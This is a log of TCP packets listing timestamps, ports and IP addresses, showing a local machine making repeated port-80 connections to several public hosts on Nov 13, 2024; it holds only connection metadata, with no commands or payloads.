Nov 13, 2024 09:28:13.791889906 CET	59104	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:28:13.799452066 CET	59104	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:28:13.804526091 CET	80	59104	3.33.130.190	192.168.2.4
Nov 13, 2024 09:28:13.804557085 CET	80	59104	3.33.130.190	192.168.2.4
Nov 13, 2024 09:28:13.804589987 CET	80	59104	3.33.130.190	192.168.2.4
Nov 13, 2024 09:28:13.804616928 CET	80	59104	3.33.130.190	192.168.2.4
Nov 13, 2024 09:28:13.804645061 CET	80	59104	3.33.130.190	192.168.2.4
Nov 13, 2024 09:28:13.804696083 CET	80	59104	3.33.130.190	192.168.2.4
Nov 13, 2024 09:28:13.804723024 CET	80	59104	3.33.130.190	192.168.2.4
Nov 13, 2024 09:28:13.804749966 CET	80	59104	3.33.130.190	192.168.2.4
Nov 13, 2024 09:28:13.804776907 CET	80	59104	3.33.130.190	192.168.2.4
Nov 13, 2024 09:28:15.300345898 CET	59104	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:28:15.305943012 CET	80	59104	3.33.130.190	192.168.2.4
Nov 13, 2024 09:28:15.306006908 CET	59104	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:28:16.318320036 CET	59105	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:28:17.193919897 CET	80	59105	3.33.130.190	192.168.2.4
Nov 13, 2024 09:28:17.194183111 CET	59105	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:28:17.199978113 CET	59105	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:28:17.205073118 CET	80	59105	3.33.130.190	192.168.2.4
Nov 13, 2024 09:28:17.826349974 CET	80	59105	3.33.130.190	192.168.2.4
Nov 13, 2024 09:28:17.826849937 CET	80	59105	3.33.130.190	192.168.2.4
Nov 13, 2024 09:28:17.827028990 CET	59105	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:28:17.829051971 CET	59105	80	192.168.2.4	3.33.130.190
Nov 13, 2024 09:28:17.833914995 CET	80	59105	3.33.130.190	192.168.2.4
Nov 13, 2024 09:28:22.866614103 CET	59106	80	192.168.2.4	113.20.119.31
Nov 13, 2024 09:28:22.871520996 CET	80	59106	113.20.119.31	192.168.2.4
Nov 13, 2024 09:28:22.871696949 CET	59106	80	192.168.2.4	113.20.119.31
Nov 13, 2024 09:28:22.883877039 CET	59106	80	192.168.2.4	113.20.119.31
Nov 13, 2024 09:28:22.888850927 CET	80	59106	113.20.119.31	192.168.2.4
Nov 13, 2024 09:28:23.952790022 CET	80	59106	113.20.119.31	192.168.2.4
Nov 13, 2024 09:28:24.003472090 CET	59106	80	192.168.2.4	113.20.119.31
Nov 13, 2024 09:28:24.192914963 CET	80	59106	113.20.119.31	192.168.2.4
Nov 13, 2024 09:28:24.193121910 CET	59106	80	192.168.2.4	113.20.119.31
Nov 13, 2024 09:28:24.394172907 CET	59106	80	192.168.2.4	113.20.119.31
Nov 13, 2024 09:28:25.412266970 CET	59107	80	192.168.2.4	113.20.119.31
Nov 13, 2024 09:28:25.417726040 CET	80	59107	113.20.119.31	192.168.2.4
Nov 13, 2024 09:28:25.418204069 CET	59107	80	192.168.2.4	113.20.119.31
Nov 13, 2024 09:28:25.425424099 CET	59107	80	192.168.2.4	113.20.119.31
Nov 13, 2024 09:28:25.430418968 CET	80	59107	113.20.119.31	192.168.2.4
Nov 13, 2024 09:28:26.498707056 CET	80	59107	113.20.119.31	192.168.2.4
Nov 13, 2024 09:28:26.550389051 CET	59107	80	192.168.2.4	113.20.119.31
Nov 13, 2024 09:28:26.743676901 CET	80	59107	113.20.119.31	192.168.2.4
Nov 13, 2024 09:28:26.743788958 CET	59107	80	192.168.2.4	113.20.119.31
Nov 13, 2024 09:28:26.950336933 CET	59107	80	192.168.2.4	113.20.119.31
Nov 13, 2024 09:28:27.961184978 CET	59108	80	192.168.2.4	113.20.119.31
Nov 13, 2024 09:28:27.966440916 CET	80	59108	113.20.119.31	192.168.2.4
Nov 13, 2024 09:28:27.966689110 CET	59108	80	192.168.2.4	113.20.119.31
Nov 13, 2024 09:28:27.977755070 CET	59108	80	192.168.2.4	113.20.119.31
Nov 13, 2024 09:28:27.982939959 CET	80	59108	113.20.119.31	192.168.2.4
Nov 13, 2024 09:28:27.984385014 CET	80	59108	113.20.119.31	192.168.2.4
Nov 13, 2024 09:28:27.984400988 CET	80	59108	113.20.119.31	192.168.2.4
Nov 13, 2024 09:28:27.984412909 CET	80	59108	113.20.119.31	192.168.2.4
Nov 13, 2024 09:28:27.984425068 CET	80	59108	113.20.119.31	192.168.2.4
Nov 13, 2024 09:28:27.984436035 CET	80	59108	113.20.119.31	192.168.2.4
Nov 13, 2024 09:28:27.984447956 CET	80	59108	113.20.119.31	192.168.2.4
Nov 13, 2024 09:28:27.984458923 CET	80	59108	113.20.119.31	192.168.2.4
Nov 13, 2024 09:28:27.984589100 CET	80	59108	113.20.119.31	192.168.2.4
Nov 13, 2024 09:28:29.091928959 CET	80	59108	113.20.119.31	192.168.2.4
Nov 13, 2024 09:28:29.144201040 CET	59108	80	192.168.2.4	113.20.119.31
Nov 13, 2024 09:28:29.362560034 CET	80	59108	113.20.119.31	192.168.2.4
Nov 13, 2024 09:28:29.362736940 CET	59108	80	192.168.2.4	113.20.119.31
Nov 13, 2024 09:28:29.488096952 CET	59108	80	192.168.2.4	113.20.119.31
Nov 13, 2024 09:28:30.506159067 CET	59109	80	192.168.2.4	113.20.119.31
Nov 13, 2024 09:28:30.511358023 CET	80	59109	113.20.119.31	192.168.2.4
Nov 13, 2024 09:28:30.511626005 CET	59109	80	192.168.2.4	113.20.119.31
Nov 13, 2024 09:28:30.516690016 CET	59109	80	192.168.2.4	113.20.119.31
Nov 13, 2024 09:28:30.521501064 CET	80	59109	113.20.119.31	192.168.2.4
Nov 13, 2024 09:28:31.599441051 CET	80	59109	113.20.119.31	192.168.2.4
Nov 13, 2024 09:28:31.644067049 CET	59109	80	192.168.2.4	113.20.119.31
Nov 13, 2024 09:28:31.843637943 CET	80	59109	113.20.119.31	192.168.2.4
Nov 13, 2024 09:28:31.843741894 CET	59109	80	192.168.2.4	113.20.119.31
Nov 13, 2024 09:28:31.844469070 CET	59109	80	192.168.2.4	113.20.119.31
Nov 13, 2024 09:28:31.849313974 CET	80	59109	113.20.119.31	192.168.2.4
Nov 13, 2024 09:28:37.254849911 CET	59110	80	192.168.2.4	47.129.103.185
Nov 13, 2024 09:28:37.259731054 CET	80	59110	47.129.103.185	192.168.2.4
Nov 13, 2024 09:28:37.259804010 CET	59110	80	192.168.2.4	47.129.103.185
Nov 13, 2024 09:28:37.267333984 CET	59110	80	192.168.2.4	47.129.103.185
Nov 13, 2024 09:28:37.272367954 CET	80	59110	47.129.103.185	192.168.2.4
Nov 13, 2024 09:28:38.252922058 CET	80	59110	47.129.103.185	192.168.2.4
Nov 13, 2024 09:28:38.300688982 CET	59110	80	192.168.2.4	47.129.103.185
Nov 13, 2024 09:28:38.457912922 CET	80	59110	47.129.103.185	192.168.2.4
Nov 13, 2024 09:28:38.458091021 CET	59110	80	192.168.2.4	47.129.103.185
Nov 13, 2024 09:28:38.769227028 CET	59110	80	192.168.2.4	47.129.103.185
Nov 13, 2024 09:28:39.787014008 CET	59111	80	192.168.2.4	47.129.103.185
Nov 13, 2024 09:28:39.792035103 CET	80	59111	47.129.103.185	192.168.2.4
Nov 13, 2024 09:28:39.792260885 CET	59111	80	192.168.2.4	47.129.103.185
Nov 13, 2024 09:28:39.799820900 CET	59111	80	192.168.2.4	47.129.103.185
Nov 13, 2024 09:28:39.804672003 CET	80	59111	47.129.103.185	192.168.2.4
Nov 13, 2024 09:28:40.792073965 CET	80	59111	47.129.103.185	192.168.2.4
Nov 13, 2024 09:28:40.832104921 CET	59111	80	192.168.2.4	47.129.103.185
Nov 13, 2024 09:28:40.992166042 CET	80	59111	47.129.103.185	192.168.2.4
Nov 13, 2024 09:28:40.992499113 CET	59111	80	192.168.2.4	47.129.103.185
Nov 13, 2024 09:28:41.300518036 CET	59111	80	192.168.2.4	47.129.103.185
Nov 13, 2024 09:28:42.318381071 CET	59112	80	192.168.2.4	47.129.103.185
Nov 13, 2024 09:28:42.323422909 CET	80	59112	47.129.103.185	192.168.2.4
Nov 13, 2024 09:28:42.323543072 CET	59112	80	192.168.2.4	47.129.103.185
Nov 13, 2024 09:28:42.330967903 CET	59112	80	192.168.2.4	47.129.103.185
Nov 13, 2024 09:28:42.335863113 CET	80	59112	47.129.103.185	192.168.2.4
Nov 13, 2024 09:28:42.335916042 CET	80	59112	47.129.103.185	192.168.2.4
Nov 13, 2024 09:28:42.335927963 CET	80	59112	47.129.103.185	192.168.2.4
Nov 13, 2024 09:28:42.335939884 CET	80	59112	47.129.103.185	192.168.2.4
Nov 13, 2024 09:28:42.335962057 CET	80	59112	47.129.103.185	192.168.2.4
Nov 13, 2024 09:28:42.336081028 CET	80	59112	47.129.103.185	192.168.2.4
Nov 13, 2024 09:28:42.336096048 CET	80	59112	47.129.103.185	192.168.2.4
Nov 13, 2024 09:28:42.336169958 CET	80	59112	47.129.103.185	192.168.2.4
Nov 13, 2024 09:28:42.336219072 CET	80	59112	47.129.103.185	192.168.2.4
Nov 13, 2024 09:28:43.362481117 CET	80	59112	47.129.103.185	192.168.2.4
Nov 13, 2024 09:28:43.409754038 CET	59112	80	192.168.2.4	47.129.103.185
Nov 13, 2024 09:28:43.581118107 CET	80	59112	47.129.103.185	192.168.2.4
Nov 13, 2024 09:28:43.581258059 CET	59112	80	192.168.2.4	47.129.103.185
Nov 13, 2024 09:28:43.831679106 CET	59112	80	192.168.2.4	47.129.103.185
Nov 13, 2024 09:28:44.854983091 CET	59113	80	192.168.2.4	47.129.103.185
Nov 13, 2024 09:28:44.860085011 CET	80	59113	47.129.103.185	192.168.2.4
Nov 13, 2024 09:28:44.860234022 CET	59113	80	192.168.2.4	47.129.103.185
Nov 13, 2024 09:28:44.866463900 CET	59113	80	192.168.2.4	47.129.103.185
Nov 13, 2024 09:28:44.871387959 CET	80	59113	47.129.103.185	192.168.2.4
Nov 13, 2024 09:28:45.854818106 CET	80	59113	47.129.103.185	192.168.2.4
Nov 13, 2024 09:28:45.910008907 CET	59113	80	192.168.2.4	47.129.103.185
Nov 13, 2024 09:28:46.065396070 CET	80	59113	47.129.103.185	192.168.2.4
Nov 13, 2024 09:28:46.065546989 CET	59113	80	192.168.2.4	47.129.103.185
Nov 13, 2024 09:28:46.066365957 CET	59113	80	192.168.2.4	47.129.103.185
Nov 13, 2024 09:28:46.071209908 CET	80	59113	47.129.103.185	192.168.2.4
Nov 13, 2024 09:28:51.125096083 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:51.130554914 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:51.130764008 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:51.137970924 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:51.143369913 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:51.797152996 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:51.797168016 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:51.797214985 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:51.797221899 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:51.797225952 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:51.797233105 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:51.797303915 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:51.797312021 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:51.797319889 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:51.797362089 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:51.797362089 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:51.797363043 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:51.797456980 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:51.797517061 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:51.802371025 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:51.802437067 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:51.802445889 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:51.802505016 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:51.802592039 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:51.802640915 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:51.829184055 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:51.829207897 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:51.829371929 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.064184904 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.064286947 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.064297915 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.064313889 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.064342976 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.064363956 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.064377069 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.064373016 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.064373016 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.064461946 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.064563036 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.064615011 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.064708948 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.064718962 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.064730883 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.064742088 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.064764023 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.064769030 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.064788103 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.064789057 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.064843893 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.065210104 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.065221071 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.065232038 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.065243006 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.065263987 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.065269947 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.065275908 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.065299034 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.065304041 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.065325975 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.065787077 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.065798044 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.065808058 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.065829992 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.065834999 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.065854073 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.065855980 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.065876961 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.065886021 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.065927982 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.069386959 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.069466114 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.069478035 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.069530964 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.069653034 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.069710970 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.069740057 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.069796085 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.069807053 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.069848061 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.069951057 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.069962025 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.069972992 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.070003033 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.070035934 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.070681095 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.070739985 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.070750952 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.070794106 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.070895910 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.070908070 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.070919037 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.070955038 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.070988894 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.071697950 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.071708918 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.071718931 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.071767092 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.071815968 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.071827888 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.071839094 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.071876049 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.071908951 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.072581053 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.072650909 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.072663069 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.072710037 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.072753906 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.072765112 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.072773933 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.072810888 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.072844982 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.073586941 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.073597908 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.073606968 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.073643923 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.073734999 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.073745012 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.073755026 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.073780060 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.073813915 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.074410915 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.074474096 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.074484110 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.074611902 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.074624062 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.074634075 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.074639082 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.074675083 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.074675083 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.075371027 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.075437069 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.075447083 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.075490952 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.075586081 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.075596094 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.075604916 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.075640917 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.075675011 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.076296091 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.128648043 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.153424025 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.153479099 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.153491020 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.153584957 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.153624058 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.153636932 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.153698921 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.153779984 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.153841972 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.153856039 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.153870106 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.153922081 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.154037952 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.154048920 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.154059887 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.154095888 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.154679060 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.154735088 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.154735088 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.154750109 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.154797077 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.154897928 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.154908895 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.154920101 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.154951096 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.155591011 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.155646086 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.155670881 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.155682087 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.155754089 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.155858994 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.155872107 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.155881882 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.155910969 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.156555891 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.156574011 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.156590939 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.156611919 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.156646013 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.156789064 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.156800985 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.156811953 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.156843901 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.157459974 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.157512903 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.157543898 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.157555103 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.157618046 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.157718897 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.157731056 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.157742023 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.157773018 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.158427954 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.158482075 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.158507109 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.158518076 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.158559084 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.158655882 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.158667088 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.158679008 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.158710003 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.159338951 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.159399033 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.159406900 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.159420013 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.159459114 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.159574032 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.159585953 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.159595966 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.159627914 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.160300016 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.160357952 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.160363913 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.160377026 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.160424948 CET	59114	80	192.168.2.4	38.47.237.27
Nov 13, 2024 09:28:52.160510063 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.160521030 CET	80	59114	38.47.237.27	192.168.2.4
Nov 13, 2024 09:28:52.160563946 CET	59114	80	192.168.2.4	38.47.237.27
